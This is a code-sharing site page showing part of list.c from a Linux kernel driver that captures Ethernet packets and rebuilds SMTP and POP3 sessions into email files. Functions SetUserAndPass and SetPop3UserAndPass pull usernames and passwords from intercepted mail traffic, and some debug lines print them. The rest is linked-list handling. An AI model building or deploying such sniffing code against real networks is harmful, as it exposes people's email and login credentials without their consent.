⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 list.c

📁 Linux下面截获以态网数据包!是在内核态下面运行的驱动程序
💻 C
📖 第 1 页 / 共 2 页
字号:
	if( pListHead->pSeq )
		pListHead->pHead = pListHead->pSeq->pNext;
	else
		pListHead->pHead = NULL;
	
	if( pListHead->pHead != NULL )
		pListHead->pHead->pPre = NULL;
	else
		pListHead->pTail = NULL;
	pListHead->pSeq = NULL;
		
	pListHead->bFileHeader = 0;
	pListHead->iNumber -= pListHead->iSeqCount;

	pListHead->iPart = 0;	
	if(pListHead->type == NON_REMOVE_HASHHEAD_WRITE )
	{
		//one full mail output, so if set sign
		//clear NON_REMOVE_HASHHEAD_WRITE sign		
		pListHead->type &= ~(NON_REMOVE_HASHHEAD_WRITE);
		pListHead->bPrew = 0;

		//ONE SESSION HAVE MULT EML
		pListHead->bFileHeader = 1;
		pListHead->iEml++;
	}
	else if( pListHead->type == NON_REMOVE_HASHHEAD_WRITE_PREW)
	{
		//clear NON_REMOVE_HASHHEAD_WRITE_PREW sign			
		pListHead->type &= ~(NON_REMOVE_HASHHEAD_WRITE_PREW);
		pListHead->bPrew = 0;
		
		//ONE SESSION HAVE MULT EML
		pListHead->bFileHeader = 1;
		pListHead->iEml++;
	}
	else
	{
		pListHead->type &= ~(SMTP_HASH_TYPE_PREW);	//clear the prew sign	
	}

	pListHead->iSeqCount = pListHead->iSeqLen = 0;
	
	if( pTemp->pTail )
		pTemp->pTail->pNext = NULL;
		
	return pTemp;
}


inline PSMTP_HASH_HEAD CopyHashHead( PSMTP_HASH_HEAD pListHead, PDOUBLE_LIST_HEAD pOutput )
{
	UINT MmLen;
	PSMTP_HASH_HEAD pTemp = NULL;
	
	MmLen = sizeof(SMTP_HASH_HEAD);
	
	
	if( pListHead == NULL)
		return NULL;

	pTemp = (PSMTP_HASH_HEAD)ALLOCATE_HASHHEAD( GFP_ATOMIC, MmLen);
	if( pTemp == NULL )
	{
		printk( "Allocate Pool PDOUBLE_LIST_HEAD fail in _RemoveItemNonHashHead()\r\n" );
		
		return NULL;
	}
	InitializeSmtpHashHead( pTemp );
	memset( pTemp, 0, MmLen );	
	memcpy( pTemp, pListHead, MmLen );
	
	pTemp->pSHead = pTemp->pSTail = pTemp->pSSeq = NULL;
	pTemp->pHead = pOutput->pHead;
	pTemp->pTail = pOutput->pTail;
	pTemp->iNumber = pOutput->iNumber;
		
	return pTemp;
}

inline void SetUserAndPass( PSMTP_HASH_HEAD pListHead )
{
	PDOUBLE_LIST_PACKET 	pListPacket;
	char		bAuth = 0;
	USHORT		iUserPass = 0;
	
	if( pListHead == NULL)
		return;
	if( !pListHead->bFileHeader || pListHead->iUserLen != 0 || pListHead->iUserLen != 0)
		return;
	
	pListPacket = (PDOUBLE_LIST_PACKET)pListHead->pHead;
	while( pListPacket )
	{
		//write USER and PASS, sure the DATA begin
		if( !bAuth && pListPacket->packet.dataLen >= 4 )
		{
//			printk("the char:%u, smtp_data:%u\r\n", *((UINT *)(pListPacket->packet.buf+pListPacket->packet.dataOffset)),*((UINT *)SMTP_AUTH));
			if( *( (UINT *)( pListPacket->packet.buf + pListPacket->packet.dataOffset ) )
				== *( (UINT *)(SMTP_AUTH) ) )
			{
//				printk("AUTH find\r\n");
				bAuth = 1;
			}
		}
		else if( bAuth )
		{
			iUserPass++;
			switch( iUserPass )
			{
			case 1:		//USER
				pListHead->iUserLen = pListPacket->packet.dataLen < (_MAX_USER_LEN-1) 
					? pListPacket->packet.dataLen:(_MAX_USER_LEN-1);
				memcpy( pListHead->user, 
					pListPacket->packet.buf + pListPacket->packet.dataOffset, 
					(ULONG)pListHead->iUserLen);
				pListHead->user[ pListHead->iUserLen ] = '\0';
				break;
			case 2:		//PASS
				pListHead->iPassLen = pListPacket->packet.dataLen < (_MAX_PASS_LEN-1)
					? pListPacket->packet.dataLen : ( _MAX_PASS_LEN - 1 );
				memcpy( pListHead->pass, 
					pListPacket->packet.buf + pListPacket->packet.dataOffset, 
					(ULONG)pListHead->iPassLen);
				pListHead->pass[ pListHead->iPassLen ] = '\0';
				return;
			default:
				return;
			}
			
		}
			
		pListPacket = (PDOUBLE_LIST_PACKET)pListPacket->doubleListItem.pNext;		
	}

}


inline void SetPop3UserAndPass( PSMTP_HASH_HEAD pListHead, PDOUBLE_LIST_PACKET pItem )
{
	struct iphdr	*pIPHeader;    // See ip.h
	struct tcphdr	*pTCPHeader;   // See tcp.h
	
	if( pListHead == NULL && pItem == NULL )
		return;

	//write USER and PASS, sure the DATA begin
	if( pItem->packet.dataLen > 5 )
	{
		switch( *((UINT *)( pItem->packet.buf + pItem->packet.dataOffset ) ) )
		{
		case POP3_USER_UINT:
		case POP3_USER_UINT1:
			//printk("POP3 USER find\r\n");
			pListHead->iUserLen = pItem->packet.dataLen < _MAX_USER_LEN ? pItem->packet.dataLen - 5 : 0;
			memcpy( pListHead->user, pItem->packet.buf + pItem->packet.dataOffset + 5, 
				(ULONG)pListHead->iUserLen );
			pListHead->user[ pListHead->iUserLen ] = '\0';
			
#ifdef _LIST_DEBUG
			printk( "user : %s ", pListHead->user );
#endif
			break;
		case POP3_PASS_UINT:
		case POP3_PASS_UINT1:
			//printk("POP3 PASS find\r\n");
			pListHead->iPassLen = pItem->packet.dataLen < _MAX_PASS_LEN ? pItem->packet.dataLen - 5 : 0;
			memcpy( pListHead->pass, pItem->packet.buf + pItem->packet.dataOffset + 5, 
				(ULONG)pListHead->iPassLen );
			pListHead->pass[ pListHead->iPassLen ] = '\0';

#ifdef _LIST_DEBUG
			printk( "pass : %s ", pListHead->pass );
#endif
			break;
		case POP3_RETR_UINT:
		case POP3_RETR_UINT1:		
			pIPHeader = (struct iphdr *)pItem->packet.buf;
			pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
			pListHead->iPop3BeginSeq = pTCPHeader->ack_seq;

#ifdef _LIST_DEBUG
			printk("POP3 RETR find\r\n");
#endif
			break;
		default:
			break;
		}
	}
}

inline PDOUBLE_LIST_ITEM _RemoveTailList( PDOUBLE_LIST_HEAD pListHead )
{
	PDOUBLE_LIST_ITEM pTemp = NULL;
	
	if( pListHead == NULL )
		return NULL;
	if( pListHead->pTail == NULL )
		return NULL;
		
	down_interruptible( &pListHead->fastMutex );
	pTemp = pListHead->pTail;
	if( pListHead->pHead == pListHead->pTail )
	{
		pListHead->pHead = pListHead->pTail = NULL;
	}
	else
	{
		pListHead->pTail = pTemp->pPre;
		pListHead->pTail->pNext = NULL;
	}
	pListHead->iNumber--;
	up( &pListHead->fastMutex );
	
	return pTemp;
}

inline PDOUBLE_LIST_ITEM _RemoveTailListNonLock( PDOUBLE_LIST_HEAD pListHead )
{
	PDOUBLE_LIST_ITEM pTemp = NULL;
	
	if( pListHead == NULL )
		return NULL;
	if( pListHead->pTail == NULL )
		return NULL;
		
	pTemp = pListHead->pTail;
	if( pListHead->pHead == pListHead->pTail )
	{
		pListHead->pHead = pListHead->pTail = NULL;
	}
	else
	{
		pListHead->pTail = pTemp->pPre;
		pListHead->pTail->pNext = NULL;
	}
	pListHead->iNumber--;
	
	return pTemp;
}

//
//Remove Multi Items from List head,the count is iNumber
//the PItem return the head and tail
//
inline char _RemoveHeadListMulti( PDOUBLE_LIST_HEAD pListHead, int iNumber,
		PDOUBLE_LIST_HEAD pOutList)
{
	char bReturn;
	UINT i = iNumber;
	PDOUBLE_LIST_ITEM pEnd = NULL;
	if( pListHead == NULL || iNumber<=0 || pOutList == NULL )
		return 0;
		
	down_interruptible( &pListHead->fastMutex );
	pEnd = pListHead->pHead;
	while( iNumber && pEnd )
	{
		pEnd = pEnd->pNext;
		iNumber--;
	}
	if( iNumber == 0 )
	{
		pOutList->pHead = pListHead->pHead;
		if( pEnd )
		{
			pOutList->pTail = pEnd->pPre;
			pOutList->pTail->pNext = NULL;
			pListHead->pHead = pEnd;
			pEnd->pPre = NULL;
		}
		else
		{
			//remove all the List
			pOutList->pTail = pListHead->pTail;
			pListHead->pHead = pListHead->pTail = NULL;
		}
		pListHead->iNumber -= i;
		pOutList->iNumber = i;
		bReturn = 1;
	}
	else
		bReturn = 0;
	
	up( &pListHead->fastMutex );
	return bReturn;	
}

//
//Remove Multi Items from List head,the count is iNumber
//the PItem return the head and tail
//
inline char _RemoveTailListMulti( PDOUBLE_LIST_HEAD pListHead, UINT iNumber,
		PDOUBLE_LIST_HEAD pOutList)
{
	char bReturn;
	UINT i = iNumber;
	PDOUBLE_LIST_ITEM pFront = NULL;

	if( pListHead == NULL || iNumber<=0 || pOutList == NULL )
		return 0;
		
	down_interruptible( &pListHead->fastMutex );
	pFront = pListHead->pTail;
	while( iNumber && pFront )
	{
		pFront = pFront->pPre;
		iNumber--;
	}
	if( iNumber == 0 )
	{
		pOutList->pTail = pListHead->pTail;
		if( pFront )
		{
			pOutList->pHead = pFront->pNext;
			pOutList->pHead->pPre = NULL;
			pListHead->pTail = pFront;
			pFront->pNext = NULL;
		}
		else
		{
			//remove all the List
			pOutList->pHead = pListHead->pHead;
			pListHead->pHead = pListHead->pTail = NULL;
		}
		pListHead->iNumber -= i;
		pOutList->iNumber = i;
		bReturn = 1;
	}
	else
		bReturn = 0;
	
	up( &pListHead->fastMutex );
	return bReturn;
	
	
}

inline char _RemoveTotalList( PDOUBLE_LIST_HEAD pListHead, 
		PDOUBLE_LIST_HEAD pOutList )
{
	if( pListHead == NULL || pOutList == NULL )
		return 0;
		
	down_interruptible( &pListHead->fastMutex );
	
	pOutList->iNumber = pListHead->iNumber;
	pOutList->pHead = pListHead->pHead;
	pOutList->pTail = pListHead->pTail;	
	
	pListHead->iNumber = 0;
	pListHead->pHead = pListHead->pTail = NULL;
	
	up( &pListHead->fastMutex );
	
	return 1;	
}

inline void InitializeDoubleListItem( PDOUBLE_LIST_ITEM pItem )
{
	pItem->pPre = pItem->pNext = NULL;
}

inline void InitializeSmtpHashHead( PSMTP_HASH_HEAD pHashHead )
{
	memset( pHashHead, 0, sizeof( SMTP_HASH_HEAD ) );
	InitializeDoubleListItem( &pHashHead->item );
	pHashHead->pHead = pHashHead->pTail = pHashHead->pSeq = NULL;
	pHashHead->pSHead = pHashHead->pSTail = pHashHead->pSSeq = NULL;
	pHashHead->pConfig = NULL;
	pHashHead->sIP = 0;
	pHashHead->sPort = 0;
	pHashHead->type = SMTP_HASH_TYPE_INIT;
	pHashHead->iNumber = 0;
	pHashHead->iEml = 0;
	pHashHead->iPart = 0;
	pHashHead->bPrew = 0;
	pHashHead->bCrypt = 1;
	pHashHead->nextSeqNumber = 0;
	pHashHead->bDelete = 0;
	pHashHead->bFileHeader = 0;
	pHashHead->iUserLen = 0;
	pHashHead->iPassLen = 0;
	pHashHead->iPop3BeginSeq = 0;
	pHashHead->iSeqCount = 0;
	pHashHead->iSeqLen = 0;
	pHashHead->iFilePath = 0;
	pHashHead->susTotalBytes = 0;
	
	memset( pHashHead->user, 0, _MAX_USER_LEN );
	memset( pHashHead->pass, 0, _MAX_PASS_LEN );
	memset( &pHashHead->timeStamp, 0, sizeof(struct timeval) );
	memset( &pHashHead->timelast, 0, sizeof(struct timeval) );
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -